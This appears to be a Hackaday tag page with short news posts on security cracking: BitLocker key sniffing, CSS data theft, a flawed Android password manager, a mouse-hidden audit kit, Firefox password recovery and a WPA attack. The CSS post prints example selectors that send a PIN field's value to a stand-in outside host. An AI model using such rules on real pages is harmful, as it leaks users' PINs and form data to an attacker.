cracking

6 Articles

Beating Bitlocker In 43 Seconds

February 6, 2024 by 69 Comments

How long does it take to steal your Bitlocker keys? Try 43 seconds, using less than $10 in hardware. Encrypting your hard drive is good security. If you’re running Windows, the most popular system is BitLocker, which has come with Windows since Vista. We’ve known for some time that Bitlocker could be defeated with direct access to the hardware. Microsoft claims that the process requires an attacker with skill and lengthy access to the hardware. [Stacksmashing] wanted to define lengthy, so he gave it a try. The result is a shockingly fast attack.

Anyone who uses Windows has probably run into Bitlocker. Your hard drive is encrypted, and Bitlocker runs silently in the background, decrypting data on demand.  The problem is key storage. In a simplified sense, encryption keys are stored in the Trusted Platform Module (TPM). When your computer boots, it reads the key from the TPM over the LPC (low pin count) bus, which is one of the last remnants of the original ISA bus.

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CSS Steals Your Web Data

February 25, 2018 by 26 Comments

Earlier this year, we posted a link to an interactive Web page. Most people seemed to like it, but we got at least one comment about how they would never be so incautious as to allow JavaScript to run on their computers. You can argue the relative merit of that statement, but it did remind us that just disabling JavaScript is no panacea when it comes to Internet security. You might wonder how you could steal data without scripting, assuming you don’t directly control the server or browser, of course. The answer is by using a cascading style sheet (CSS). [Live Overflow] explains the exploit in the video below, covering an older paper and a recent rediscovery of the technique.

The technique hinges on you getting a CSS into the web page. Maybe you’ve partially compromised the server or maybe you wrote a malicious browser extension. The method works because you can make a style conditional on an attribute of an element. That means you can ask CSS to do some special formatting on a text field with a certain value. If that formatting is to load some background image from a server you control then you can tell if the field has a particular value.

We didn’t say it was easy. Suppose you want to capture a four-digit PIN number. You will need about 10,000 lines of format. For example:

input[type="pin"][value$="0000"] { background-color: url(http://notahackaday.com/0000.png }
input[type="pin"][value$="0001"] { background-color: url(http://notahackaday.com/0001.png }
...
input[type="pin"][value$="9999"] { background-color: url(http://notahackaday.com/9999.png }

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PasswordManagerCode

Tearing Apart An Android Password Manager

January 18, 2015 by 22 Comments

With all of the various web applications we use nowadays, it can be daunting to remember all of those passwords. Many people turn to password management software to help with this. Rather than remembering 20 passwords, you can store them all in a (presumably) secure database that’s protected by a single strong password. It’s a good idea in theory, but only if the software is actually secure. [Matteo] was recently poking around an Android password management software and made some disturbing discoveries.

The app claimed to be using DES encryption, but [Matteo] wanted to put this claim to the test. He first decompiled the app to get a look at the code. The developer used some kind of code obfuscation software but it really didn’t help very much. [Matteo] first located the password decryption routine.

He first noticed that the software was using DES in ECB mode, which has known issues and really shouldn’t be used for this type of thing. Second, the software simply uses an eight digit PIN as the encryption key. This only gives up to 100 million possible combinations. It may sound like a lot, but to a computer that’s nothing. The third problem was that if the PIN is less than eight characters, the same digits are always padded to the end to fill in the blanks. Since most people tend to use four digit pins, this can possibly lower the total number of combinations to just ten thousand.

As if that wasn’t bad enough, it actually gets worse. [Matteo] found a function that actually stores the PIN in a plain text file upon generation. When it comes time to decrypt a password, the application will check the PIN you enter with the one stored in the plain-text file. So really, you don’t have to crack the encryption at all. You can simply open the file and reveal the PIN.

[Matteo] doesn’t name the specific app he was testing, but he did say in the Reddit thread that the developer was supposedly pushing out a patch to fix these issues. Regardless, it goes to show that before choosing a password manager you should really do some research and make sure the developer can be trusted, lest your secrets fall into the wrongs hands.

[via Reddit]

Security Audit Kit In A Mouse

January 29, 2011 by 23 Comments

Sometimes it helps to have an entire set of tools with you to tackle a problem, and sometimes it helps to take the discreet route. [StenoPlasma] took the latter of these approaches, and stuffed a USB hub, a 16 GB flash drive, and an Atheros based USB wireless adapter into a regular looking USB mouse to make a Linux bootable system in a mouse. Because he chose the Atheros adapter, he is also capable of doing packet injection with tools like Aircrack-ng, which can invaluable in a security audit or (white hat) hacking situation.

This is the only photo we have, so it could be possible that the mouse is no more than a mouse, however we know all of what [StenoPlasma] claims is 100% possible, so we’ll give him the benefit of the doubt, and hope this inspires others to hack up your own mouse kits. Be sure to check out the full parts list after the break.

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Firefox Master Password Recovery Tool

September 1, 2009 by 13 Comments

firemaster

It’s great in this day and age that browsers can remember our passwords for us, allowing us cross-site security without the hassle of memorizing a million different random passwords. It’s great, that is, until we forget our master password. Fret not, though; there is a solution. The folks over at Lifehacker show us how to use FireMaster to recover forgotten or misplaced Firefox master passwords. Perhaps a better solution is to just store those tricky passwords where nobody will find them.

New WPA TKIP Attack

November 9, 2008 by 7 Comments

wifibox

[Martin Beck] and [Erik Tews] have just released a paper covering an improved attack against WEP and a brand new attack against WPA(PDF). For the WEP half, they offer a nice overview of attacks up to this point and the optimizations they made to reduce the number of packets needed to approximately 25K. The only serious threat to WPA so far has been the coWPAtty dictionary attack. This new attack lets you decrypt the last 12 bytes of a WPA packet’s plaintext and then generate arbitrary packets to send to the client. While it doesn’t recover the WPA key, the attacker is still able to send packets directly to the machine they’re attacking and could potentially read back the response via an outbound connection to the internet.

[photo: niallkennedy]

[via SANS]